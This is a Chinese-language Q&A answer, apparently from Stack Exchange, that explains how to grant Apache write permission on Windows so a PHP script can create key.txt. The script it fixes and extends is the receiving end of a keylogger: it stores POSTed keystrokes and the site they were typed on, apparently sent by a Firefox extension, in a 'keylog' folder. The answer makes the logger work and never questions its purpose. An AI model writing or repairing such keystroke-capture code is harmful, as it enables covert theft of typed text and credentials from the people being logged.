Windows下修改Apache所有权,解决PHP无法创建TXT文件权限问题
解决Windows系统中Apache权限问题(PHP无法创建TXT文件)
一、确认Apache运行账户
- 按下Win+R,输入
services.msc打开服务列表 - 找到Apache服务(通常名为
Apache2.x,x为版本号),右键选「属性」 - 切换到「登录」标签页,查看「此账户」对应的用户名,常见为
NT AUTHORITY\NetworkService或LocalSystem
二、修改目标目录的权限
假设你的PHP脚本和要创建的key.txt在C:\Apache\htdocs\keylog目录下:
- 右键该目录,选择「属性」→「安全」标签页
- 点击「编辑」→「添加」,输入查到的Apache运行账户名,点击「检查名称」确认后添加
- 选中刚添加的账户,在权限列表中勾选:
- 读取和写入
- 修改
- 列出文件夹内容
- 依次点击「应用」「确定」保存设置
三、可选:指定文件到有权限的目录
如果不想修改目录权限,可将key.txt放到Apache默认有写入权限的目录(比如C:\Apache\logs),修改PHP代码中的路径:
$file_log = fopen("C:/Apache/logs/key.txt","a+");
四、验证设置
重启Apache服务,测试Firefox扩展,确认是否能成功创建并写入key.txt
附:你的PHP代码优化建议
当前代码未处理fopen失败的情况,建议增加错误判断:
session_start(); if (!isset($_POST['key'])) { echo "Didn't received any new KEY strokes Yet!"; exit(0); } // 增加文件打开失败的判断 $file_log = fopen("key.txt","a+"); if (!$file_log) { echo "Failed to open log file!"; exit(0); } if (!isset($_SESSION['site']) || $_SESSION['site'] != $_POST['site']) { $_SESSION['site'] = $_POST['site']; fwrite($file_log, "| site : ".$_POST['site']." | "); } fwrite($file_log,$_POST['key']); fclose($file_log); echo "text saved successfully";
内容的提问来源于stack exchange,提问作者Roger31
相关产品推荐
相关产品推荐

